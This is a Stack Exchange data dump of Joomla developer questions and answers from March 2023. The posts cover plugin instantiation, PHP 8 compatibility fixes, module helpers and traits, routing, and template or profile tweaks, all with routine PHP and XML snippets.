  <row Id="32898" PostTypeId="2" ParentId="32894" CreationDate="2023-03-23T10:04:20.330" Score="2" Body="&lt;p&gt;&lt;strong&gt;For having and working with a plugin&lt;/strong&gt; in a module of Joomla directly (not via events), for testing this let's say you have your own &lt;em&gt;&lt;strong&gt;plugin group&lt;/strong&gt;&lt;/em&gt; called: &lt;strong&gt;'myplug'&lt;/strong&gt; and your plugin is called: &lt;strong&gt;'testplugin1'&lt;/strong&gt; and you want to use this plugin in your &lt;strong&gt;module&lt;/strong&gt; or in your &lt;strong&gt;view&lt;/strong&gt; or anywhere else in Joomla. (after installing, do not forget to activate your plugin in the admin plugins manager)&lt;/p&gt;&#xA;&lt;p&gt;And your plugin Class looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgMyplugTestplugin1 extends CMSPlugin &#xA;{&#xA;&#xA;    public function doWhatever() {&#xA;&#xA;        $message = 'I am messaging from my testplugin';&#xA;&#xA;        return $message;&#xA;        &#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can instantiate your plugin like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;PluginHelper::importPlugin('myplug', 'testplugin1'); // returns a boolean&#xA;        &#xA;$myplugin = PluginHelper::getPlugin('myplug', 'testplugin1'); // returns an Object&#xA;&#xA;$type = $myplugin-&amp;gt;type;&#xA;&#xA;$className = 'Plg' . $type . $myplugin-&amp;gt;name; &#xA;&#xA;// $dispatcher = $this-&amp;gt;getDispatcher(); // if it is available&#xA;&#xA;// another way of getting the dispatcher&#xA;$dispatcher = Factory::getApplication()-&amp;gt;getDispatcher();&#xA;&#xA;// Instantiate the Plugin. You will be able to use the plugin Class and its methods:&#xA;$activeplugin = new $className($dispatcher, (array) PluginHelper::getPlugin($type, $myplugin-&amp;gt;name));&#xA;&#xA;// calling the doWhatever() method from your plugin&#xA;$activeplugin-&amp;gt;doWhatever();&#xA;&#xA;// or echo $activeplugin-&amp;gt;doWhatever(); // if it is returning back a string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If it is a &lt;em&gt;&lt;strong&gt;'system'&lt;/strong&gt;&lt;/em&gt; plugin for example then you will change &lt;em&gt;&lt;strong&gt;'myplug'&lt;/strong&gt;&lt;/em&gt; to &lt;em&gt;&lt;strong&gt;'system'&lt;/strong&gt;&lt;/em&gt; of course, at &lt;code&gt;importPlugin()&lt;/code&gt; and &lt;code&gt;getPlugin()&lt;/code&gt; methods. I had tested the above in one of my views.&lt;/p&gt;&#xA;&lt;p&gt;And just giving the above in a short cleaner version, including only the relevant parts:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\CMS\Factory;  &#xA;&#xA;PluginHelper::importPlugin('myplug', 'testplugin1');&#xA;    &#xA;$myplugin = PluginHelper::getPlugin('myplug', 'testplugin1');&#xA;&#xA;$className = 'PlgMyplugTestplugin1';&#xA;&#xA;$dispatcher = Factory::getApplication()-&amp;gt;getDispatcher();&#xA;&#xA;// initiate&#xA;$activeplugin = new $className($dispatcher, (array) $myplugin);&#xA;&#xA;$activeplugin-&amp;gt;doWhatever();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As I wrote in my comment, I am still not sure that you would need to get and use the plugin in a Login module for example, or you really need a plugin for your Login project, if you have a module for that, unless the plugin is acting on a very specific Event. Since usually a module includes plugins and creating events for the plugins which the plugins could act on. However there are a very few example in Joomla using plugins the other way around like using plugins' classes and methods directly in another extension of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-03-23T15:58:47.113" LastActivityDate="2023-03-23T15:58:47.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32899" PostTypeId="2" ParentId="32897" CreationDate="2023-03-23T10:28:34.513" Score="1" Body="&lt;p&gt;To remove the Template from the data base you need to use an editor such as phpMyAdmin that is normally accessible via your hosting control panel, eg cPanel.&lt;/p&gt;&#xA;&lt;p&gt;The table you are looking for is &lt;code&gt;&amp;lt;prefix&amp;gt;_extensions&lt;/code&gt; and then you can scroll or search through the table to remove the single line for your template.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wybNK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wybNK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any settings saved within the parameters for the template will also be removed therefore you may want to copy and paste them somewhere safe and paste them back once you have reinstalled the template.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6jk5k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jk5k.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;By '...without removing any content' I am assuming you are to referring the files and customisations/overrides in the /template folder.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-03-23T10:28:34.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32900" PostTypeId="2" ParentId="32881" CreationDate="2023-03-23T12:14:15.223" Score="0" Body="&lt;p&gt;I just reinstalled everything from scratch and now it’s working, so… never mind and thank you.&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2023-03-23T12:14:15.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32901" PostTypeId="2" ParentId="32894" CreationDate="2023-03-23T20:17:59.717" Score="3" Body="&lt;p&gt;As mentioned in the comments, normally you should not use plugin objects directly. But if you need it for some reason, the correct way is using &lt;code&gt;Joomla\CMS\Extension\ExtensionManagerInterface::bootPlugin()&lt;/code&gt; method. The interface is implemented by CMS application classes so you can use this in the module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$plugin = $app-&amp;gt;bootPlugin($group, $name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;$group&lt;/code&gt; is the plugin group and &lt;code&gt;$name&lt;/code&gt; the plugin name.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-03-23T20:17:59.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32902" PostTypeId="2" ParentId="32892" CreationDate="2023-03-24T07:30:50.890" Score="0" Body="&lt;p&gt;The error is self-explanatory. Your model needs to implement &lt;code&gt;getItem()&lt;/code&gt; method required by the &lt;code&gt;Joomla\CMS\MVC\Model\ItemModelInterface&lt;/code&gt; interface. This method is meant to be used for retrieving a single content item as an object. If your model already has a similar method named differently (e.g. &lt;code&gt;getCard()&lt;/code&gt;), you can proxy &lt;code&gt;getItem()&lt;/code&gt; to this method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem($pk = null)&#xA;{&#xA;    return $this-&amp;gt;getCard($pk);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If your model does not have/need such functionality, consider extending a less specific model such as &lt;code&gt;Joomla\CMS\MVC\Model\BaseDatabaseModel&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-03-24T14:57:17.113" LastActivityDate="2023-03-24T14:57:17.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32904" PostTypeId="1" CreationDate="2023-03-24T20:55:48.723" Score="1" ViewCount="44" Body="&lt;p&gt;When a user is logged into my site he can see and update all events and see then calendar module.  When we have a guest user like most of the users they can't display the calendar.  Joomla 4.2.9. I have played with all types of users and permissions&lt;/p&gt;&#xA;&lt;p&gt;When I try to access the calendar I get &lt;em&gt;This page isn’t working right now xxx.org redirected you too many times.&#xA;To fix this issue, try clearing your cookies.&#xA;ERR_TOO_MANY_REDIRECTS  I cleared the cookies many times&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I click on a module all I see is &lt;em&gt;You don't have permission to access this. Please contact a website administrator if this is incorrect.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How do I set user access and permissions so my guest users can see the calendar&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16976" LastActivityDate="2023-03-24T20:55:48.723" Title="Unable to display jevent modules when a site is visited but not logged on" Tags="|joomla-4.x|jevents|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32905" PostTypeId="1" AcceptedAnswerId="32909" CreationDate="2023-03-25T08:43:04.813" Score="2" ViewCount="61" Body="&lt;p&gt;as you are all probably aware PHP is not my expertise. I'm helping plan a Joomla migration to PHP 8 (J3) and a previous developer has created a com_search override of the default_results.php file.&lt;/p&gt;&#xA;&lt;p&gt;The 2 PHP notices I get in PHP 7.4 are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined offset: 0 in /public_html/templates/{template}/html/com_search/search/default_results.php on line 27&#xA;&#xA;Notice: Trying to get property 'id' of non-object in /public_html/templates/{template}/html/com_search/search/default_results.php on line 138&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first notice refers to the return $items[0]; in the code below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function paginateTable($tableData = null, $limit1, $limitStart1){&#xA;    if(false === is_null($tableData)){&#xA;        $items = array_chunk($tableData, $limit1);&#xA;        $posToShow = 0;&#xA;        if(sizeof($tableData) &amp;gt; $limit1){&#xA;            for($i = 0; $i &amp;lt; sizeof($items); $i++){&#xA;                $posToShow = $limitStart1/$limit1;&#xA;                &#xA;                if($limitStart1 &amp;gt; 0){&#xA;                    return $items[$posToShow];&#xA;                }&#xA;            }&#xA;        }&#xA;        return $items[0];&#xA;    }//end is_null($tableData)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second notice refers to $Itemid = $menuItem-&amp;gt;id; in the code below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach($all_results as $result)&#xA;{&#xA;    if($result-&amp;gt;catid == 18)&#xA;    {&#xA;        //$result-&amp;gt;href = 'index.php?option=com_news&amp;amp;view=article&amp;amp;id=' . $result-&amp;gt;id . '&amp;amp;Itemid=119';&#xA;        $result-&amp;gt;href = 'index.php/news/' . $result-&amp;gt;id . '-'.$result-&amp;gt;alias;&#xA;        $result-&amp;gt;description = html_entity_decode($result-&amp;gt;description);&#xA;        $result-&amp;gt;category = 'News';&#xA;    }elseif($result-&amp;gt;catid == NULL){&#xA;        $result-&amp;gt;rp_id = $result-&amp;gt;link_id;&#xA;        $result-&amp;gt;alias = strtolower(str_replace('\'','-', $result-&amp;gt;title)); &#xA;        $result-&amp;gt;alias = str_replace(' ','-', $result-&amp;gt;alias);&#xA;        $result-&amp;gt;href = '/index.php/events-calendar/eventdetail/'.$result-&amp;gt;rp_id.'/-/'.$result-&amp;gt;alias;&#xA;        $result-&amp;gt;description = html_entity_decode($result-&amp;gt;description);&#xA;        $result-&amp;gt;category = 'Events';&#xA;    }&#xA;    else{&#xA;        $link = 'index.php?option=com_content&amp;amp;view=article&amp;amp;id='.$result-&amp;gt;id;  &#xA;        $menuItem = $menu-&amp;gt;getItems( 'link', $link, true );&#xA;        $Itemid = $menuItem-&amp;gt;id;&#xA;        $count_link = &amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=&amp;quot; . $result-&amp;gt;id . &amp;quot;&amp;amp;Itemid=&amp;quot; . $Itemid;     &#xA;        $result-&amp;gt;href = $count_link;&#xA;        $result-&amp;gt;description = html_entity_decode($result-&amp;gt;description);    &#xA;        $result-&amp;gt;category = 'Web Pages';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I was wondering if there is a way to make this code PHP 8 compatible - there obviously may be more errors on fixing these. I'm happy to provide the entire file if needed. When switching to PHP 8 the page displays:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0 - sizeof(): Argument #1 ($value) must be of type Countable|array, null given&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which I assume is because the array returs empty. I vaguely remember something about changing from square brackets for a similar problem but I'd like a second opinion if possible.&lt;/p&gt;&#xA;&lt;p&gt;As always, thank you for your time. It's really appreciated.&lt;/p&gt;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;&lt;p&gt;Edit: Updated to include link to full PHP code &lt;a href=&quot;https://onlinephp.io/c/a4d53&quot; rel=&quot;nofollow noreferrer&quot;&gt;onlinephp.io&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2023-03-26T12:24:59.140" LastActivityDate="2023-03-26T23:35:05.010" Title="Undefined offset: 0 In old com_search override - PHP 8" Tags="|joomla-3.x|php7|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32906" PostTypeId="2" ParentId="32905" CreationDate="2023-03-25T09:36:50.747" Score="2" Body="&lt;p&gt;for your first notice, array_chunk either returns an array or false, but your return statement always assumes that it's going to be an array. To fix this immediate issue, I would replace your return statement with a ternary check:&lt;/p&gt;&#xA;&lt;p&gt;return $items &amp;amp;&amp;amp; isset($items[0]) ? $items[0] : null;&lt;/p&gt;&#xA;&lt;p&gt;This way, it checks that the zero indexed array item exists before returning it, otherwise it returns null. You'll need to check that returning null doesn't cause an issue in whichever function is calling it. It may be that returning false may be the required option but I'd need to see the code to work that out.&lt;/p&gt;&#xA;&lt;p&gt;For your second notice, the problem is that $menu-&amp;gt;getItems looks to be assuming that the result is going to be a single menu object, but getItems should be returning an array of those objects. If you look at this info section it shows you how you need to loop through the result of getItems to access the menu objects your code is expecting - &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide#Properties_and_Parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Menu_and_Menuitems_API_Guide#Properties_and_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope that gets you moving in the right direction but post back if you're still stuck.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2023-03-25T09:36:50.747" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32908" PostTypeId="1" CreationDate="2023-03-26T13:19:45.500" Score="1" ViewCount="182" Body="&lt;p&gt;A strange problem has appeared in the tagged items view of articles on my website &lt;a href=&quot;https://eume.upf.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://eume.upf.org&lt;/a&gt;. See for example &lt;a href=&quot;https://eume.upf.org/where-we-are/western-europe/germany&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://eume.upf.org/where-we-are/western-europe/germany&lt;/a&gt;, where the intro images of the more recently created articles appear to be smaller than the others, even though they are all 200x200 px.&lt;/p&gt;&#xA;&lt;p&gt;I observed that these top 4 articles have the additional &amp;quot;HTML source code&amp;quot; marked in bold here: &amp;lt;img src=&amp;quot;/images/germany/Germany-2023-02-07-Stuttgart.jpg&amp;quot; alt=&amp;quot;UPF-Stuttgart Observes Interfaith Harmony Week&amp;quot; &lt;strong&gt;width=&amp;quot;200&amp;quot; height=&amp;quot;200&amp;quot; loading=&amp;quot;lazy&amp;quot;&lt;/strong&gt;&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;When I observe these articles in the normal category blog, the intro image is the same size as the others, so this problem seems to only affect the tagged items view of articles and only the newly entered articles.&lt;/p&gt;&#xA;&lt;p&gt;It transpires that when I put these images in the intro image field of the &amp;quot;images and links&amp;quot; tab,  &amp;quot;?width=NNN&amp;amp;height=NNN&amp;quot;, where NNN is the actual size of the image, is being added at the end of the image path and filename. I thought perhaps this was coming from the editor, but I changed from JCE to TinyMCE and got the same result. I've also tried disabling a certain number of plugins but nothing changed. I also tried restoring a backup of the website on XAMPP when it was still Joomla 4.2.8, but this did not have any effect.&lt;/p&gt;&#xA;&lt;p&gt;I discovered that the &amp;quot;HTML source code&amp;quot; in the display of the image is coming from layouts/joomla/html/image.php, as explained in: &lt;a href=&quot;https://joomla.stackexchange.com/questions/32595/about-joomla-4-lazy-loading-feature&quot;&gt;About Joomla 4 Lazy Loading feature&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, I am not getting this on my other Joomla 4.2.9 websites, so I'm still not sure what's triggering this. Some posts refer to a lazy loading plugin, but this does not seem to be installed any more.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have any ideas about this?&lt;/p&gt;&#xA;" OwnerUserId="15085" LastActivityDate="2023-03-26T13:19:45.500" Title="Problem possibly related to lazy loading of images in Joomla 4" Tags="|joomla-4|images|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32909" PostTypeId="2" ParentId="32905" CreationDate="2023-03-26T23:29:35.870" Score="1" Body="&lt;p&gt;Without understanding much of the context of the task, I can advise a simpler pagination method.&lt;/p&gt;&#xA;&lt;p&gt;My opinion is that it is &lt;em&gt;almost&lt;/em&gt; never appropriate for an array parameter to be &lt;code&gt;null&lt;/code&gt;.  In my applications, if I am logically expecting a variable to contain iterable data, I do not allow any scalar or &lt;code&gt;null&lt;/code&gt; values.&lt;/p&gt;&#xA;&lt;p&gt;My snippet assumes that your starting integer is zero-based (not one-based). I am building in a protection from negative starts and negative lengths using &lt;code&gt;abs()&lt;/code&gt; because &lt;code&gt;array_slice()&lt;/code&gt;'s behaviour with negative values may not be what you want.  (If you understand the consequences of negative integers with this function and actually desire the behaviour, then the &lt;code&gt;abs()&lt;/code&gt; calls can be removed.&lt;/p&gt;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/P545l&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function paginateTable(array $data = [], int $limit = 10, int $start = 0): array&#xA;{&#xA;    return array_slice($data, abs($start), abs($limit));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As for the problem with &lt;code&gt;$menu-&amp;gt;getItems( 'link', $link, true );&lt;/code&gt;, according &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide#Menu_Item_from_Itemid:%7E:text=%24menuitem%20%3D%20%24sitemenu-%3EgetItem(%24itemid)%3B&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Joomla documentation&lt;/a&gt;, you can most directly call something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menuItem = $menu-&amp;gt;getItem($result-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...if I am understanding the context/data.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-03-26T23:35:05.010" LastActivityDate="2023-03-26T23:35:05.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32910" PostTypeId="1" AcceptedAnswerId="32911" CreationDate="2023-03-27T17:45:26.353" Score="0" ViewCount="50" Body="&lt;p&gt;I'm writing several joomla modules and I'd like to put common functions in the libraries folder.  However I want to use them from a joomla Ajax call in my module.  I'm preparing to upgrade from 3.x to 4.x&lt;/p&gt;&#xA;&lt;p&gt;I have the Ajax working fine.  The part I can't get to work is using the USE php.&lt;/p&gt;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&lt;p&gt;libraries/practicemanagement/patientForm.php&lt;/p&gt;&#xA;&lt;p&gt;and in my module i have in the entry php file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;$doc = JFactory::getDocument();&#xA;&#xA;require_once 'libraries/practicemanagement/patientForm.php';&#xA;require_once __DIR__ . '/helper.php';&#xA;&#xA;&#xA;$siteButtons  = modPatientChargeCheckingHelper::getSiteButtons();&#xA;require JModuleHelper::getLayoutPath('mod_patient_charge_checking', $params-&amp;gt;get('layout', 'default'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the patietForm.php contains two functions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;trait patientForm&#xA;{&#xA;    /**&#xA;     * The Main Active Language&#xA;     *&#xA;     * @var      string&#xA;     *&#xA;     * @since  3.0.9&#xA;     */&#xA;    public static function getPxAddress($addressId){...}&#xA;&#xA;    public static function getSiteButtons($siteToUse =&amp;quot;&amp;quot;){...}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The helper class has:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class  modPatientChargeCheckingHelper&#xA;&#xA;{&#xA;&#xA;    use patientForm;&#xA;&#xA;    public static function getAjax(){}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the file loads it runs the getSiteButtons() function however I think this is running just because it is included via the require_once statement.  When I try to use the Helper Ajax function  it just gives  a  500 error.  I've searched the server log and there doesn't seem to be an issue.  I've never used USE before so I'm guessing that I'm doing something wrong.  I just need a pointer to help me figure out what.&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&lt;p&gt;php 7.4.33&#xA;Joomla! 3.10.11 Stable&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2023-03-28T02:26:10.877" Title="Using namespase USE in a module" Tags="|joomla-3.x|joomla-4.x|namespace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32911" PostTypeId="2" ParentId="32910" CreationDate="2023-03-27T20:26:11.990" Score="2" Body="&lt;p&gt;The entry file is not used when calling AJAX. You have to move the loading of &lt;code&gt;patientForm.php&lt;/code&gt; into the helper file, before the class declaration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;require_once 'libraries/practicemanagement/patientForm.php';&#xA;&#xA;class modPatientChargeCheckingHelper&#xA;{&#xA;    use patientForm;&#xA;&#xA;    public static function getAjax(){}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-03-27T20:26:11.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32912" PostTypeId="2" ParentId="32910" CreationDate="2023-03-28T02:26:10.877" Score="0" Body="&lt;p&gt;More or less a similar approach as what @Sharky has provided however my example is from a working Component, not a Module, so I am not sure if that is going to be an issue for you. It replaces the require_once with a Use statement for the library.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Irata\Component\Mycomponent\Administrator\View\Barney;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use ...&#xA;use Irata\Component\MyComponent\Administrator\Library\FredsTrait;&#xA;&#xA;class HtmlView extends BaseHtmlView&#xA;{&#xA;    use FredsTrait;&#xA;....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I create a Component specific Library in my extensions therefore if your Modules are part of a package relating to a single component you might find this is an alternative to using the site wide library aproach.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-03-28T02:26:10.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32914" PostTypeId="2" ParentId="32284" CreationDate="2023-03-28T11:36:31.367" Score="0" Body="&lt;p&gt;Is it because of an incorrect path?&lt;/p&gt;&#xA;&lt;p&gt;Use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&amp;quot;Projects&amp;quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;This will show Projects&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;request&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;request&amp;quot;&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;id&amp;quot;&#xA;                    type=&amp;quot;project&amp;quot; &#xA;                    label=&amp;quot;COM_project_project_FIELD_GREETING_LABEL&amp;quot;&#xA;                    description=&amp;quot;COM_project_project_FIELD_GREETING_DESC&amp;quot;&#xA;                    /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16980" LastEditorUserId="12352" LastEditDate="2023-03-28T13:52:10.127" LastActivityDate="2023-03-28T13:52:10.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32916" PostTypeId="1" CreationDate="2023-03-29T15:12:57.337" Score="1" ViewCount="38" Body="&lt;p&gt;i need have multiple parents for a view, for example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;view products list of all products with links to single product&lt;/li&gt;&#xA;&lt;li&gt;view categories list of all categoires with links to single category&lt;/li&gt;&#xA;&lt;li&gt;View category with inside the list of products of category with link to single product&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;i want this urls:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://namesite.com/productscategeories/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://namesite.com/productscategeories/&lt;/a&gt;&lt;br /&gt;&#xA;index.php?option=com_mycomp&amp;amp;view=categories (i can set a menu item)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://namesite.com/productscategeories/singlecategoryname&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://namesite.com/productscategeories/singlecategoryname&lt;/a&gt;&#xA;--&amp;gt; index.php?option=com_mycomp&amp;amp;view=category&amp;amp;id=2&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://namesite.com/productscategeories/singlecategoryname/single_product_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://namesite.com/productscategeories/singlecategoryname/single_product_name&lt;/a&gt; --&amp;gt;&#xA;index.php?option=com_mycomp&amp;amp;view=product&amp;amp;id=6&amp;amp;categoryid=2&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://namesite.com/products/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://namesite.com/products/&lt;/a&gt; (i can set a menu item) --&amp;gt;&#xA;index.php?option=com_mycomp&amp;amp;view=products&lt;/p&gt;&#xA;&lt;p&gt;index.php?option=com_mycomp&amp;amp;view=product&amp;amp;id=6--&amp;gt;&#xA;&lt;a href=&quot;https://namesite.com/products/single_product_name&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://namesite.com/products/single_product_name&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But, in router i can set a single parent like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ccProduct-&amp;gt;setKey('id')-&amp;gt;setParent($products);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so product view under category go to view under products&lt;/p&gt;&#xA;&lt;p&gt;in my router.php i have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$products = new RouterViewConfiguration('products');&#xA;        $this-&amp;gt;registerView($products);&#xA;        $ccProduct = new RouterViewConfiguration('product');&#xA;        $ccProduct-&amp;gt;setKey('id')-&amp;gt;setParent($products);&#xA;        $this-&amp;gt;registerView($ccProduct);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but i want add more parents for a view, how i can make it?&lt;/p&gt;&#xA;&lt;p&gt;thanks for help&lt;/p&gt;&#xA;" OwnerUserId="16983" LastActivityDate="2023-03-29T15:12:57.337" Title="multiple parents in router for a view" Tags="|view|router|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32917" PostTypeId="1" CreationDate="2023-03-30T10:19:44.970" Score="0" ViewCount="70" Body="&lt;p&gt;I dont't know how to remove or hide password 1 and password 2 from Joomla profile edit layout.&lt;/p&gt;&#xA;&lt;p&gt;I know that there is an option in the Joomla administrator site (back end) to hide the entire section, but I would like to display only name, username and email and only allow the user to change their name and email.&lt;/p&gt;&#xA;" OwnerUserId="14495" LastEditorUserId="12352" LastEditDate="2023-03-30T12:05:45.920" LastActivityDate="2023-12-27T12:01:35.220" Title="How to remove password1 and password2 fields from core Joomla 4 Profile Editor?" Tags="|user|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
